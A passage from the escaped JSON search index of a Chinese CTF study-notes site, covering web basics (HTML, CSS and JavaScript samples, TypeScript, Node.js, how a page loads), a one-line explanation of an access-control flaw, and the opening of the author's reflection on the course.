<li>\u8d8a\u6743\uff1a\u4f8b\u5982\u4e00\u4e2aWeb\u5e94\u7528\u5141\u8bb8\u7528\u6237\u67e5\u770b\u81ea\u5df1\u7684\u8ba2\u5355\u4fe1\u606f\uff0c\u4f46\u672a\u6b63\u786e\u9a8c\u8bc1\u7528\u6237\u7684\u8eab\u4efd\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u7be1\u6539URL\u53c2\u6570\uff0c\u5982<code>order.php?id=123</code>\uff0c\u67e5\u770b\u5176\u4ed6\u7528\u6237\u7684\u8ba2\u5355\u4fe1\u606f\u3002<ul> <li>\u6c38\u8fdc\u4e0d\u8981\u76f8\u4fe1\u7528\u6237\u7684\u6570\u636e\uff01\u524d\u7aef\u4ee3\u7801\u4e5f\u8bb8\u6c38\u8fdc\u4e0d\u4f1a\u8bbf\u95ee\u5176\u4ed6\u7528\u6237\u7684\u6570\u636e\uff0c\u4f46\u8fd9\u4e0d\u4ee3\u8868\u6076\u610f\u653b\u51fb\u8005\u5c31\u4e0d\u4f1a</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/web/#_5","title":"\u524d\u7aef\uff1a\u53ef\u89c6\u5316\u4e0e\u64cd\u4f5c\u903b\u8f91","text":"<p>\u524d\u7aef\u5f00\u53d1\u4e3b\u8981\u5173\u6ce8\u7528\u6237\u754c\u9762\u7684\u8bbe\u8ba1\u548c\u7528\u6237\u4ea4\u4e92\u3002\u5728\u8fd9\u4e00\u90e8\u5206\uff0c\u6211\u4eec\u5c06\u5b66\u4e60HTML\u3001CSS\u548cJavaScript\u7684\u57fa\u7840\u77e5\u8bc6\uff0c\u4ee5\u53ca\u524d\u7aef\u5b89\u5168\u7684\u91cd\u8981\u6027\u548c\u5e38\u89c1\u7684\u9632\u62a4\u63aa\u65bd\u3002\u540c\u65f6\uff0c\u6211\u4eec\u4f1a\u901a\u8fc7\u7ecf\u5178\u6848\u4f8b\u5206\u6790\u524d\u7aef\u6f0f\u6d1e\u7684\u5229\u7528\u65b9\u6cd5\u548c\u9632\u62a4\u7b56\u7565\u3002</p> <ul> <li>HTML / CSS / JS\u57fa\u7840<ul> <li>HTML \u7b80\u5355\u4ecb\u7ecd<ul> <li>\u683c\u5f0f\uff1a\u5404\u4e2a\u6807\u7b7e\u5d4c\u5957\u7684\u5c42\u7ea7\u7ed3\u6784\uff0c\u6bcf\u4e2a\u6807\u7b7e\u57fa\u672c\u4e0a\u5c31\u5bf9\u5e94\u9875\u9762\u4e0a\u7684\u4e00\u4e2a\u5143\u7d20</li> </ul> </li> </ul> </li> </ul> Note <pre><code>&lt;!DOCTYPE html&gt;\n&lt;html lang=\"zh-CN\"&gt;\n&lt;head&gt;\n    &lt;meta charset=\"UTF-8\"&gt;\n    &lt;title&gt;HTML \u548c CSS \u793a\u4f8b&lt;/title&gt;\n    &lt;link rel=\"stylesheet\" href=\"styles.css\"&gt;\n&lt;/head&gt;\n&lt;body&gt;\n    &lt;header&gt;\n        &lt;h1&gt;\u6b22\u8fce\u6765\u5230\u6211\u7684\u7f51\u7ad9&lt;/h1&gt;\n        &lt;nav&gt;\n            &lt;ul&gt;\n                &lt;li&gt;&lt;a href=\"#home\"&gt;\u9996\u9875&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=\"#about\"&gt;\u5173\u4e8e\u6211\u4eec&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=\"#contact\"&gt;\u8054\u7cfb\u6211\u4eec&lt;/a&gt;&lt;/li&gt;\n            &lt;/ul&gt;\n        &lt;/nav&gt;\n    &lt;/header&gt;\n    &lt;main&gt;\n        &lt;section id=\"home\"&gt;\n            &lt;h2&gt;\u9996\u9875&lt;/h2&gt;\n            &lt;p class=\"intro\"&gt;\u8fd9\u662f\u6211\u4eec\u7684\u9996\u9875\uff0c\u6b22\u8fce\u60a8\u7684\u5230\u6765\uff01&lt;/p&gt;\n        &lt;/section&gt;\n        &lt;section id=\"about\"&gt;\n            &lt;h2&gt;\u5173\u4e8e\u6211\u4eec&lt;/h2&gt;\n            &lt;p class=\"intro\"&gt;\u6211\u4eec\u662f\u4e00\u5bb6\u4e13\u4e1a\u7684Web\u5f00\u53d1\u516c\u53f8\u3002&lt;/p&gt;\n        &lt;/section&gt;\n        &lt;section id=\"contact\"&gt;\n            &lt;h2&gt;\u8054\u7cfb\u6211\u4eec&lt;/h2&gt;\n            &lt;p class=\"intro\"&gt;\u5982\u679c\u60a8\u6709\u4efb\u4f55\u95ee\u9898\uff0c\u8bf7\u968f\u65f6\u8054\u7cfb\u6211\u4eec\u3002&lt;/p&gt;\n            &lt;form&gt;\n                &lt;label for=\"name\"&gt;\u59d3\u540d:&lt;/label&gt;\n                &lt;input type=\"text\" id=\"name\" name=\"name\"&gt;&lt;br&gt;\n                &lt;label for=\"email\"&gt;\u90ae\u7bb1:&lt;/label&gt;\n                &lt;input type=\"email\" id=\"email\" name=\"email\"&gt;&lt;br&gt;\n                &lt;input type=\"submit\" value=\"\u63d0\u4ea4\"&gt;\n            &lt;/form&gt;\n        &lt;/section&gt;\n    &lt;/main&gt;\n    &lt;footer&gt;\n        &lt;p&gt;&amp;copy; 2023 \u6211\u7684\u7f51\u7ad9&lt;/p&gt;\n    &lt;/footer&gt;\n&lt;/body&gt;\n&lt;/html&gt; \n</code></pre> <ul> <li>CSS \u7b80\u5355\u4ecb\u7ecd<ul> <li>\u7528\u9014\uff1a\u5143\u7d20\u5bbd\u5ea6\u3001\u5916\u90e8\u95f4\u9694\u3001\u5185\u90e8\u8fb9\u8ddd\u3001\u5b57\u4f53\u989c\u8272\u2026\u2026</li> <li>\u9009\u62e9\u5668\u8bed\u6cd5\uff1a\u9009\u62e9\u4f60\u8981\u628a\u8fd9\u4e9b\u5c5e\u6027\u5e94\u7528\u7ed9\u54ea\u4e9b\u5143\u7d20<ul> <li>\u5143\u7d20\u9009\u62e9\u5668<code>body</code></li> <li>\u7c7b\u9009\u62e9\u5668<code>.my-class</code></li> <li>ID\u9009\u62e9\u5668<code>#myid</code></li> </ul> </li> </ul> </li> </ul> Note <pre><code>/* \u57fa\u672c\u6837\u5f0f */\nbody {\n    font-family: Arial, sans-serif;\n    margin: 0;\n    padding: 0;\n    background-color: #f4f4f4;\n}\n\nheader {\n    background-color: #333;\n    color: #fff;\n    padding: 10px 0;\n    text-align: center;\n}\n\nnav ul {\n    list-style: none;\n    padding: 0;\n}\n\nnav ul li {\n    display: inline;\n    margin: 0 10px;\n}\n\nnav ul li a {\n    color: #fff;\n    text-decoration: none;\n}\n\nmain {\n    padding: 20px;\n}\n\nsection {\n    margin-bottom: 20px;\n}\n\n.intro {\n    font-style: italic;\n    color: #555;\n}\n\nfooter {\n    background-color: #333;\n    color: #fff;\n    text-align: center;\n    padding: 10px 0;\n    position: fixed;\n    width: 100%;\n    bottom: 0;\n}\n\n/* \u8868\u5355\u6837\u5f0f */\nform {\n    margin-top: 20px;\n}\n\nform label {\n    display: block;\n    margin-bottom: 5px;\n}\n\nform input[type=\"text\"],\nform input[type=\"email\"] {\n    width: 100%;\n    padding: 8px;\n    margin-bottom: 10px;\n    border: 1px solid #ccc;\n    border-radius: 4px;\n}\n\nform input[type=\"submit\"] {\n    background-color: #333;\n    color: #fff;\n    padding: 10px 20px;\n    border: none;\n    border-radius: 4px;\n    cursor: pointer;\n}\n\nform input[type=\"submit\"]:hover {\n    background-color: #555;\n}\n</code></pre> <ul> <li>JS<ul> <li>\u5305\u88f9\u5728<code>&lt;script&gt;</code>\u4e2d</li> <li>\u53ef\u4ee5\u505a\u4ec0\u4e48\uff1a\u5d4c\u5165\u7f51\u9875\u4e2d\uff0c\u8ba9\u7f51\u9875\u5177\u5907\u9ad8\u7ea7\u7684\u4ea4\u4e92\u903b\u8f91</li> </ul> </li> </ul> Note <pre><code>&lt;!DOCTYPE html&gt;\n&lt;html lang=\"zh-CN\"&gt;\n&lt;head&gt;\n    &lt;meta charset=\"UTF-8\"&gt;\n    &lt;title&gt;\u73b0\u4ee3Web\u5f00\u53d1\u793a\u4f8b&lt;/title&gt;\n    &lt;style&gt;\n        /* CSS \u6837\u5f0f */\n        body {\n            font-family: Arial, sans-serif;\n            margin: 0;\n            padding: 0;\n            background-color: #f4f4f4;\n        }\n\n        header {\n            background-color: #333;\n            color: #fff;\n            padding: 10px 0;\n            text-align: center;\n        }\n\n        nav ul {\n            list-style: none;\n            padding: 0;\n        }\n\n        nav ul li {\n            display: inline;\n            margin: 0 10px;\n        }\n\n        nav ul li a {\n            color: #fff;\n            text-decoration: none;\n        }\n\n        main {\n            padding: 20px;\n        }\n\n        section {\n            margin-bottom: 20px;\n        }\n\n        .intro {\n            font-style: italic;\n            color: #555;\n        }\n\n        footer {\n            background-color: #333;\n            color: #fff;\n            text-align: center;\n            padding: 10px 0;\n            position: fixed;\n            width: 100%;\n            bottom: 0;\n        }\n\n        form {\n            margin-top: 20px;\n        }\n\n        form label {\n            display: block;\n            margin-bottom: 5px;\n        }\n\n        form input[type=\"text\"],\n        form input[type=\"email\"] {\n            width: 100%;\n            padding: 8px;\n            margin-bottom: 10px;\n            border: 1px solid #ccc;\n            border-radius: 4px;\n        }\n\n        form input[type=\"submit\"] {\n            background-color: #333;\n            color: #fff;\n            padding: 10px 20px;\n            border: none;\n            border-radius: 4px;\n            cursor: pointer;\n        }\n\n        form input[type=\"submit\"]:hover {\n            background-color: #555;\n        }\n    &lt;/style&gt;\n    &lt;script&gt;\n        // JavaScript \u4ee3\u7801\n        function greetUser() {\n            var name = prompt(\"\u8bf7\u8f93\u5165\u60a8\u7684\u540d\u5b57:\");\n            if (name) {\n                alert(\"\u4f60\u597d, \" + name + \"!\");\n            } else {\n                alert(\"\u4f60\u597d, \u8bbf\u5ba2!\");\n            }\n        }\n\n        function validateForm() {\n            var name = document.getElementById(\"name\").value;\n            var email = document.getElementById(\"email\").value;\n            if (name === \"\" || email === \"\") {\n                alert(\"\u8bf7\u586b\u5199\u6240\u6709\u5b57\u6bb5\uff01\");\n                return false;\n            }\n            return true;\n        }\n    &lt;/script&gt;\n&lt;/head&gt;\n&lt;body&gt;\n    &lt;header&gt;\n        &lt;h1&gt;\u6b22\u8fce\u6765\u5230\u6211\u7684\u7f51\u7ad9&lt;/h1&gt;\n        &lt;nav&gt;\n            &lt;ul&gt;\n                &lt;li&gt;&lt;a href=\"#home\"&gt;\u9996\u9875&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=\"#about\"&gt;\u5173\u4e8e\u6211\u4eec&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=\"#contact\"&gt;\u8054\u7cfb\u6211\u4eec&lt;/a&gt;&lt;/li&gt;\n            &lt;/ul&gt;\n        &lt;/nav&gt;\n    &lt;/header&gt;\n    &lt;main&gt;\n        &lt;section id=\"home\"&gt;\n            &lt;h2&gt;\u9996\u9875&lt;/h2&gt;\n            &lt;p class=\"intro\"&gt;\u8fd9\u662f\u6211\u4eec\u7684\u9996\u9875\uff0c\u6b22\u8fce\u60a8\u7684\u5230\u6765\uff01&lt;/p&gt;\n            &lt;button onclick=\"greetUser()\"&gt;\u6253\u62db\u547c&lt;/button&gt;\n        &lt;/section&gt;\n        &lt;section id=\"about\"&gt;\n            &lt;h2&gt;\u5173\u4e8e\u6211\u4eec&lt;/h2&gt;\n            &lt;p class=\"intro\"&gt;\u6211\u4eec\u662f\u4e00\u5bb6\u4e13\u4e1a\u7684Web\u5f00\u53d1\u516c\u53f8\u3002&lt;/p&gt;\n        &lt;/section&gt;\n        &lt;section id=\"contact\"&gt;\n            &lt;h2&gt;\u8054\u7cfb\u6211\u4eec&lt;/h2&gt;\n            &lt;p class=\"intro\"&gt;\u5982\u679c\u60a8\u6709\u4efb\u4f55\u95ee\u9898\uff0c\u8bf7\u968f\u65f6\u8054\u7cfb\u6211\u4eec\u3002&lt;/p&gt;\n            &lt;form onsubmit=\"return validateForm()\"&gt;\n                &lt;label for=\"name\"&gt;\u59d3\u540d:&lt;/label&gt;\n                &lt;input type=\"text\" id=\"name\" name=\"name\"&gt;&lt;br&gt;\n                &lt;label for=\"email\"&gt;\u90ae\u7bb1:&lt;/label&gt;\n                &lt;input type=\"email\" id=\"email\" name=\"email\"&gt;&lt;br&gt;\n                &lt;input type=\"submit\" value=\"\u63d0\u4ea4\"&gt;\n            &lt;/form&gt;\n        &lt;/section&gt;\n    &lt;/main&gt;\n    &lt;footer&gt;\n        &lt;p&gt;&amp;copy; 2023 \u6211\u7684\u7f51\u7ad9&lt;/p&gt;\n    &lt;/footer&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n</code></pre> <ul> <li>\u73b0\u4ee3\u7684\u89e3\u51b3\u65b9\u5f0f\uff1a\u4f7f\u7528\u524d\u7aef\u6846\u67b6<ul> <li>React.js Vue.js \u2026 \u4f46\u672c\u8d28\u4e0a\u8fd8\u662f\u539f\u751fjs</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/web/#javascript-typescript","title":"\u7f16\u7801\u57fa\u7840\uff1aJavaScript \u4e0e TypeScript","text":""},{"location":"NOTE/CTF/web/#javascript","title":"JavaScript","text":"<p>JavaScript \u7b80\u4ecb\u4e0e\u5386\u53f2</p> <p>JavaScript\uff08\u7b80\u79f0JS\uff09\u662f\u7531Netscape\u516c\u53f8\u7684Brendan Eich\u57281995\u5e74\u5341\u5929\u5185\u5f00\u53d1\u51fa\u6765\u7684\u4e00\u79cd\u811a\u672c\u8bed\u8a00\u3002\u6700\u521d\u8bbe\u8ba1\u7528\u4e8e\u6d4f\u89c8\u5668\u7aef\u7684\u52a8\u6001\u7f51\u9875\u5185\u5bb9\u751f\u6210\uff0cJavaScript\u8fc5\u901f\u6210\u4e3aWeb\u5f00\u53d1\u7684\u6838\u5fc3\u6280\u672f\u4e4b\u4e00\uff0c\u4e0eHTML\u548cCSS\u5e76\u5217\u4e3a\u524d\u7aef\u5f00\u53d1\u7684\u4e09\u5927\u652f\u67f1\u3002</p> <ul> <li>\u8bde\u751f\u80cc\u666f\uff1aJavaScript\u8bde\u751f\u4e8eWeb 1.0\u65f6\u4ee3\uff0c\u6700\u521d\u88ab\u79f0\u4e3aMocha\uff0c\u540e\u6539\u540d\u4e3aLiveScript\uff0c\u6700\u540e\u624d\u6210\u4e3aJavaScript\u3002</li> <li>\u53d1\u5c55\u5386\u7a0b\uff1a\u4ece\u6700\u521d\u7684\u5ba2\u6237\u7aef\u811a\u672c\u8bed\u8a00\uff0cJavaScript\u9010\u6b65\u6f14\u53d8\u6210\u4e00\u95e8\u5f3a\u5927\u7684\u7f16\u7a0b\u8bed\u8a00\uff0c\u73b0\u4eca\u4e0d\u4ec5\u7528\u4e8e\u6d4f\u89c8\u5668\u7aef\uff0c\u8fd8\u5728\u670d\u52a1\u5668\u7aef\u5e7f\u6cdb\u5e94\u7528\u3002</li> </ul> <p>JavaScript\u7684\u57fa\u672c\u8bed\u6cd5\u548c\u7279\u70b9</p> <p>JavaScript\u8bed\u6cd5\u7075\u6d3b\uff0c\u5177\u6709\u52a8\u6001\u7c7b\u578b\u3001\u51fd\u6570\u5f0f\u7f16\u7a0b\u548c\u539f\u578b\u7ee7\u627f\u7b49\u7279\u70b9\u3002</p> <ul> <li> <p>\u53d8\u91cf\u58f0\u660e\uff1a\u4f7f\u7528<code>var</code>\u3001<code>let</code>\u548c<code>const</code>\u58f0\u660e\u53d8\u91cf\u3002</p> <pre><code>var x = 5;\nlet y = 10;\nconst z = 15;\n</code></pre> </li> <li> <p>\u51fd\u6570\u5b9a\u4e49\uff1a</p> <pre><code>function add(a, b) {\n  return a + b;\n}\n</code></pre> </li> <li> <p>\u6761\u4ef6\u5224\u65ad\uff1a     <pre><code>if (x &gt; y) {\n  console.log(\"x is greater than y\");\n} else {\n  console.log(\"x is less than or equal to y\");\n}\n</code></pre> \u200b</p> </li> <li>\u5faa\u73af\uff1a    <pre><code>   for (let i = 0; i &lt; 5; i++) {\n     console.log(i);\n   }\n</code></pre></li> </ul> <p>\u200b   - \u4e8b\u4ef6\u5904\u7406\uff1a     <pre><code>  document.getElementById(\"myButton\").addEventListener(\"click\", function() {\n    alert(\"Button clicked!\");\n  });\n</code></pre> JavaScript\u7075\u6d3b\u6027\u5f88\u5f3a\uff0c\u4f46\u8fd9\u4e5f\u5e26\u6765\u4e86\u67d0\u4e9b\u6f5c\u5728\u95ee\u9898\uff0c\u6bd4\u5982\u7c7b\u578b\u4e0d\u5b89\u5168\u3001\u4ee3\u7801\u7ef4\u62a4\u6027\u5dee\u7b49</p>"},{"location":"NOTE/CTF/web/#typescript","title":"TypeScript","text":"<p>TypeScript\u7684\u7279\u70b9\u548c\u4f18\u70b9</p> <p>TypeScript\uff08\u7b80\u79f0TS\uff09\u662f\u7531\u5fae\u8f6f\u5f00\u53d1\u7684\u4e00\u79cd\u5f00\u6e90\u7f16\u7a0b\u8bed\u8a00\uff0c\u662fJavaScript\u7684\u8d85\u96c6\uff0c\u589e\u52a0\u4e86\u9759\u6001\u7c7b\u578b\u548c\u7c7b\u7b49\u7279\u6027\u3002</p> <ul> <li>\u9759\u6001\u7c7b\u578b\uff1a\u901a\u8fc7\u7c7b\u578b\u68c0\u67e5\u51cf\u5c11\u8fd0\u884c\u65f6\u9519\u8bef\uff0c\u63d0\u9ad8\u4ee3\u7801\u7684\u53ef\u7ef4\u62a4\u6027\u3002</li> <li>\u7c7b\u548c\u63a5\u53e3\uff1a\u652f\u6301\u9762\u5411\u5bf9\u8c61\u7f16\u7a0b\uff0c\u589e\u5f3a\u4ee3\u7801\u7ed3\u6784\u6027</li> <li>\u6a21\u5757\u5316\uff1a\u652f\u6301\u6a21\u5757\u5316\u7f16\u7a0b\uff0c\u63d0\u9ad8\u4ee3\u7801\u590d\u7528\u6027\u548c\u7ec4\u7ec7\u6027</li> </ul>"},{"location":"NOTE/CTF/web/#nodejs","title":"Node.js\u7b80\u4ecb","text":"<p>Node.js\u7684\u8d77\u6e90\u548c\u53d1\u5c55</p> <p>Node.js\u662f\u7531Ryan Dahl\u57282009\u5e74\u5f00\u53d1\u7684\u4e00\u4e2a\u5f00\u6e90\u3001\u8de8\u5e73\u53f0\u7684JavaScript\u8fd0\u884c\u65f6\u73af\u5883\uff0c\u57fa\u4e8eChrome\u7684V8\u5f15\u64ce\u6784\u5efa\u3002Node.js\u7684\u51fa\u73b0\u4f7f\u5f97JavaScript\u53ef\u4ee5\u7528\u4e8e\u670d\u52a1\u5668\u7aef\u5f00\u53d1\u3002</p> <ul> <li>\u8d77\u6e90\uff1aNode.js\u8bde\u751f\u4e8e\u5bf9\u9ad8\u6027\u80fd\u3001\u975e\u963b\u585eI/O\u6a21\u578b\u7684\u9700\u6c42\u3002</li> <li>\u53d1\u5c55\uff1aNode.js\u8fc5\u901f\u53d1\u5c55\uff0c\u6210\u4e3a\u6784\u5efa\u9ad8\u6027\u80fd\u3001\u53ef\u6269\u5c55\u7f51\u7edc\u5e94\u7528\u7684\u9996\u9009\u5e73\u53f0\u3002</li> </ul> <p>Node.js\u7684\u57fa\u672c\u4f7f\u7528\u65b9\u6cd5\u4e0e\u5e94\u7528\u573a\u666f</p> <p>Node.js\u901a\u8fc7\u4e8b\u4ef6\u9a71\u52a8\u3001\u975e\u963b\u585eI/O\u6a21\u578b\uff0c\u4f7f\u5176\u5728\u5904\u7406\u5927\u91cf\u5e76\u53d1\u8bf7\u6c42\u65f6\u5177\u6709\u663e\u8457\u4f18\u52bf\u3002</p>"},{"location":"NOTE/CTF/web/#_6","title":"\u524d\u7aef\u76f8\u5173\u5b89\u5168\u9886\u57df","text":"<ul> <li>XSS\uff08\u8de8\u7ad9\u811a\u672c\u653b\u51fb\uff09</li> <li>CSRF\uff08\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020\uff09\u4e0e SSRF\uff08\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020\uff09</li> <li>\u8de8\u57df </li> </ul>"},{"location":"NOTE/CTF/web/#_7","title":"\u5c3e\u58f0","text":"<p>\u7ecf\u5178\u8001\u756a\uff1a\u5730\u5740\u680f\u8f93\u5165\u7f51\u5740\u5e76\u8bbf\u95ee\u540e\u53d1\u751f\u4e86\u4ec0\u4e48</p> <ol> <li>DNS\u89e3\u6790\uff08\u57df\u540d\u89e3\u6790\uff09\uff1a<ul> <li>\u6d4f\u89c8\u5668\u4f1a\u9996\u5148\u68c0\u67e5\u672c\u5730\u7f13\u5b58\u4e2d\u662f\u5426\u6709\u8be5\u7f51\u5740\u5bf9\u5e94\u7684IP\u5730\u5740\u3002</li> <li>\u5982\u679c\u6ca1\u6709\uff0c\u5b83\u4f1a\u5411DNS\u670d\u52a1\u5668\u53d1\u9001\u8bf7\u6c42\uff0c\u67e5\u8be2\u8be5\u7f51\u5740\u7684IP\u5730\u5740\u3002</li> <li>DNS\u670d\u52a1\u5668\u8fd4\u56de\u8be5\u7f51\u5740\u5bf9\u5e94\u7684IP\u5730\u5740\u7ed9\u6d4f\u89c8\u5668\u3002</li> </ul> </li> <li>\u5efa\u7acbTCP\u8fde\u63a5\uff1a<ul> <li>\u6d4f\u89c8\u5668\u4f7f\u7528\u524d\u9762\u5f97\u5230\u7684IP\u5730\u5740\uff0c\u901a\u8fc7TCP/IP\u534f\u8bae\u4e0e\u76ee\u6807\u670d\u52a1\u5668\u5efa\u7acb\u8fde\u63a5\u3002</li> <li>\u8fd9\u5305\u62ec\u4e09\u6b21\u63e1\u624b\u8fc7\u7a0b\uff1a\u5ba2\u6237\u7aef\u53d1\u9001SYN\u5305\uff0c\u670d\u52a1\u5668\u8fd4\u56deSYN-ACK\u5305\uff0c\u5ba2\u6237\u7aef\u518d\u53d1\u9001ACK\u5305\u786e\u8ba4\u8fde\u63a5\u3002</li> </ul> </li> <li>\u53d1\u9001HTTP\u8bf7\u6c42\uff1a<ul> <li>\u5efa\u7acb\u8fde\u63a5\u540e\uff0c\u6d4f\u89c8\u5668\u4f1a\u53d1\u9001\u4e00\u4e2aHTTP\u8bf7\u6c42\u5230\u670d\u52a1\u5668\u3002\u8fd9\u4e2a\u8bf7\u6c42\u5305\u542b\u4e86\u8bf7\u6c42\u65b9\u6cd5\uff08\u5982GET\u6216POST\uff09\u3001\u8bf7\u6c42\u7684\u8d44\u6e90\u8def\u5f84\u4ee5\u53ca\u4e00\u4e9b\u5934\u4fe1\u606f\uff08\u5982\u6d4f\u89c8\u5668\u7c7b\u578b\u3001\u53ef\u63a5\u53d7\u7684\u6587\u4ef6\u7c7b\u578b\u7b49\uff09\u3002</li> </ul> </li> <li>\u670d\u52a1\u5668\u5904\u7406\u8bf7\u6c42\u5e76\u8fd4\u56de\u54cd\u5e94\uff1a<ul> <li>\u670d\u52a1\u5668\u63a5\u6536\u5230\u8bf7\u6c42\u540e\uff0c\u4f1a\u5904\u7406\u8be5\u8bf7\u6c42\uff0c\u67e5\u627e\u8bf7\u6c42\u7684\u8d44\u6e90\uff08\u5982HTML\u6587\u4ef6\u3001\u56fe\u7247\u3001\u89c6\u9891\u7b49\uff09\u3002</li> <li>\u670d\u52a1\u5668\u4f1a\u5c06\u627e\u5230\u7684\u8d44\u6e90\u4ee5\u53ca\u4e00\u4e9b\u5934\u4fe1\u606f\uff08\u5982\u5185\u5bb9\u7c7b\u578b\u3001\u5185\u5bb9\u957f\u5ea6\u7b49\uff09\u6253\u5305\u6210HTTP\u54cd\u5e94\uff0c\u8fd4\u56de\u7ed9\u6d4f\u89c8\u5668\u3002</li> </ul> </li> <li>\u6d4f\u89c8\u5668\u63a5\u6536\u54cd\u5e94\u5e76\u6e32\u67d3\u9875\u9762\uff1a<ul> <li>\u6d4f\u89c8\u5668\u63a5\u6536\u5230\u670d\u52a1\u5668\u8fd4\u56de\u7684HTTP\u54cd\u5e94\u540e\uff0c\u4f1a\u89e3\u6790\u54cd\u5e94\u7684\u5934\u4fe1\u606f\u548c\u5185\u5bb9\u3002</li> <li>\u5982\u679c\u5185\u5bb9\u662fHTML\u6587\u4ef6\uff0c\u6d4f\u89c8\u5668\u4f1a\u89e3\u6790HTML\u5e76\u6839\u636e\u5176\u4e2d\u7684\u6307\u4ee4\uff08\u5982\u52a0\u8f7dCSS\u6587\u4ef6\u3001\u6267\u884cJavaScript\u811a\u672c\u7b49\uff09\u8fdb\u884c\u6e32\u67d3\u3002</li> <li>\u6d4f\u89c8\u5668\u4f1a\u9010\u6b65\u6784\u5efaDOM\u6811\u548cCSSOM\u6811\uff0c\u5e76\u6839\u636e\u5b83\u4eec\u751f\u6210\u6e32\u67d3\u6811\uff0c\u6700\u540e\u5c06\u5185\u5bb9\u7ed8\u5236\u5230\u5c4f\u5e55\u4e0a\u3002</li> </ul> </li> <li>\u52a0\u8f7d\u8d44\u6e90\uff1a<ul> <li>\u5982\u679cHTML\u6587\u4ef6\u4e2d\u5305\u542b\u4e86\u5176\u4ed6\u8d44\u6e90\uff08\u5982\u56fe\u7247\u3001CSS\u3001JavaScript\u7b49\uff09\uff0c\u6d4f\u89c8\u5668\u4f1a\u6839\u636e\u9700\u8981\u53d1\u9001\u989d\u5916\u7684HTTP\u8bf7\u6c42\u6765\u52a0\u8f7d\u8fd9\u4e9b\u8d44\u6e90\u3002</li> <li>\u8fd9\u4e9b\u8d44\u6e90\u52a0\u8f7d\u5b8c\u6210\u540e\uff0c\u6d4f\u89c8\u5668\u4f1a\u7ee7\u7eed\u6e32\u67d3\u9875\u9762\uff0c\u66f4\u65b0\u663e\u793a\u5185\u5bb9\u3002 \u6574\u4e2a\u8fc7\u7a0b\u901a\u5e38\u5728\u77ed\u65f6\u95f4\u5185\u5b8c\u6210\uff0c\u4ee5\u786e\u4fdd\u7528\u6237\u80fd\u591f\u5feb\u901f\u770b\u5230\u7f51\u9875\u5185\u5bb9\u3002</li> </ul> </li> </ol>"},{"location":"NOTE/CTF/%E7%BB%93%E8%AF%BE%E5%BF%83%E5%BE%97/","title":"\u77ed\u5b66\u671f\u7ed3\u8bfe\u5fc3\u5f97","text":"<p> \u7ea6 592 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 2 \u5206\u949f</p> <p>\u56de\u6765\u5427\u6211\u7684matlab(x)</p> <p>\u73b0\u5728\u662f2024\u5e747\u670824\u65e5,\u5317\u4eac\u65f6\u95f4\u665a\u4e0a23\uff1a08\u5206,\u521a\u519c\u4e86\u51e0\u628a,\u56db\u8d1f\u4e00\u80dc,\u6de6\uff01</p> <p>\u6d17\u4e86\u4e2a\u6fa1\uff0cCrypto\u7684\u4e13\u9898\u4e00\u7684lab\u4eca\u5929\u622a\u81f3\uff0c\u4ea4\u4e86\uff0c\u4e13\u9898\u4e8c\u768427\u53f7\u624d\u4ea4\uff0c\u8fd8\u4e0d\u60f3\u5199\uff0c\u95f2\u6765\u65e0\u4e8b\uff0c\u5199\u4e00\u4e2a\u4e0a\u8fd9\u95e8\u8bfe\u7684\u611f\u53d7\u5427\u3002</p> <p>\u8bfe\uff0c\u662f\u597d\u7684\uff0c\u6211\uff0c\u662f\u83dc\u7684\u3002\u771f\u7684\u96be\uff0c\u4f46\u662f\u505a\u51fa\u6765\u7684\u77ac\u95f4\u4e5f\u662f\u771f\u7684\u723d\uff0cCTF\u5bf9\u81ea\u5b66\u80fd\u529b\u8981\u6c42\u5f88\u9ad8\uff0c\u5982\u679c\u559c\u6b22\u586b\u9e2d\u5f0f\u6559\u80b2\uff0c\u559c\u6b22\u8001\u5e08\u628a\u77e5\u8bc6\u56bc\u788e\u4e86\u5582\u5230\u5634\u91cc\u7684\u8bdd\uff0c\u662f\u4e07\u4e07\u4e0d\u53ef\u9009\u7684\u3002\u8fd9\u4e2a\u6708\u4e3a\u4e86CTF\u4e0d\u77e5\u9053\u5f80\u7535\u8111\u91cc\u9762\u585e\u4e86\u591a\u5c11\u5c0f\u73a9\u610f\u3002\uff08\u4e5f\u5f80\u8111\u5b50\u91cc\u9762\u585e\u4e86\u5f88\u591a\u4e1c\u897f\uff09</p> <p>\u9009\u4e86Misc\u548cCrypto\u4e24\u4e2a\u65b9\u5411\uff0c\u4e0e\u5176\u8bf4\u771f\u7684\u611f\u5174\u8da3\uff0c\u4e0d\u5982\u8bf4\u8fd9\u4e24\u4e2a\u5bf9\u4e8e\u4e8c\u8fdb\u5236\u7684\u8981\u6c42\u7684\u6bd4\u8f83\u4f4e\u3002Web\u561b\uff0c\u5174\u8da3\u4e0d\u5927\u3002</p> <p>Misc\u662f\u771f\u7684\u597d\u73a9\uff0c7\u67083\u65e5\u521a\u5230\u957f\u6c99\u90a3\u665a\u5c31\u88abOSINT\u8ff7\u5f97\u4e0d\u884c\uff0c\u5f00\u76d2\uff0c\u723d\u3002\u4e5f\u5bf9\u7f16\u89e3\u7801\u6709\u4e86\u8c41\u7136\u5f00\u6717\u7684\u8ba4\u8bc6\u3002\u4e13\u9898\u4e00\u7684\u4e09\u9053\u56fe\u7247\u9690\u5199\u611f\u89c9\u504f\u5411\u5de5\u5177\u4f7f\u7528\uff0cspetrogram\u6bd4\u8f83\u8ff7\u4eba\uff0c\u4ecegif\u5230\u97f3\u9891\uff0c\u4ece0\u5f00\u59cb\u7684python\u5b66\u4e60\uff0c\u8ba9\u6211\u4eab\u53d7\u7684\u662f\u5168\u5fc3\u5168\u610f\u6295\u5165\u77e5\u8bc6\u7684\u611f\u89c9\uff0c\u201c\u7528\u773c\u775b\u542c\u97f3\u4e50\u201d\uff0c\u5f53\u65cb\u5f8b\u5728\u8033\u4e2d\u54cd\u8d77\uff0c\u4f3c\u4e4e\u6211\u4e5f\u80fd\u4e0e\u5085\u91cc\u53f6\u4ea7\u751f\u4e9b\u8bb8\u5171\